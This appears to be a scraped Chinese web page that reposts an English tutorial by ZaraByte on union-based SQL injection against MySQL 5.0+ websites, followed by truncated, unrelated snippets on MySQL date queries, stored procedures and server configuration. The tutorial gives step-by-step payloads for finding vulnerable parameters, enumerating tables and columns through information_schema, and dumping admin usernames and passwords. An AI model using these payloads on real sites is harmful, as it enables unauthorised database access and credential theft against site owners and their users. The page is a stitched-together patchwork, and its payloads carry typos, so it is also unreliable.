[Injection]对MYSQL 5.0服务器以上版本注入
by ZaraByte
How to do a SQL Injection for MYSQL Server 5.0+
1. Find a vulnerable add a ‘ at the end of the site example: news.php?id=1 add a ‘ at the end of the 1 and see if you get a syntax error
2. order by #–
Keep upping the # until you get an error.
3. union all select 1,#,#,#,#,#–
Above 6 numbers if the site you have shows more then 6 or less then since you need to add or remove them
4. Find a column # that is showed from step 2 example if there are 5 columns shown you can pick column 2
5. concat_ws(0×3A,version(),@@version) in vulnerable column
add concat_ws(0×3A,version(),@@version) to a vulnerable column like column 2 see if it shows the SQL version if it don’t try adding a – before the php?id=-# and see if you get the version
Will show the version of the SQL Server recommended that it be 5.0
6. union all select 1,group_concat(table_name),#,#,#,# from information_schema.tables where table_schema=database()–
This selects all the the tables from the database.
7. Find a table your after like admin or like users or user whatever table you wanna see
8. union all select 1,group_concat(column_name),#,#,#,# from information_schema.columns where table_name=char(x)–
Replace x with the ASCII of table name You will need to convert Text to ASCII.
9. union all select 1,group_concat(table_name,0×3a,table_name)#,#,#,# from column_name–
Replace table_name with the table name your after the 0×3a is hex for “:” table_name would be replaced with the other table name yours after
so for example say you found a table named admin and you wanna see the username and password columns you’d do
union all select 1,group_concat(username,0×3a,password,0×3c62723e)#,#,#,# from table_name–
Basically its going to show the username 0×3a is hex for “:” then the password 0×3c62723e is hex for a “< br >” which breaks them
相关文档：
格式为2008-06-16
查询出当天数据：
SELECT * from `table` WHERE date(时间字段) = curdate();
查询出当月字段：
SELECT *
from `table`
WHERE month( 时间字段) = month( now( ) ) ;
时间格式为1219876…… UNIX时间，只要应用“from_UNIXTIME( )”函数
例如查询当月：
SELECT ......
mysql 5.0存储过程学习总结
一.创建存储过程
1.基本语法：
create procedure sp_name()
begin
………
end
2.参数传递
二.调用存储过程
1.基本语法：call sp_name()
注意：存储过程名称后面必须加括号，哪怕该存储过程没有参数传递
三.删除存储过程
1.基本语法：
drop procedure sp_name// ......
1. 在/etc/my.cnf中加入一下内容
[mysqld_dev]
socket=/tmp/mysql.sock
port=3307
pid-file=/var/run/mysqld/mysqld_dev.pid
datadir=/var/lib/mysql_dev
log=/var/log/mysqld_dev.log
log-error=/var/log/mysqld_dev.err.log
user=mysql
2. 根据以上内容创建目录和文件
mkdir /var/lib/mysqld_dev
chown mys ......
昨天，我突然想把一个数据库里的每个表，以及每个表的非空总纪录数存在另一个表里面。
首先，创建了一个存放数据的表：
create table tables
(
name varchar(50),
number int
);
insert into tables select table_name from information_schema.tables where table_shema = 'test';
但是不知道有没有方法，将非空的 ......
CREATE TABLE `taa` (
`year` varchar(4) DEFAULT NULL,
`month` varchar(2) DEFAULT NULL,
`amount` double DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf
"year","m ......
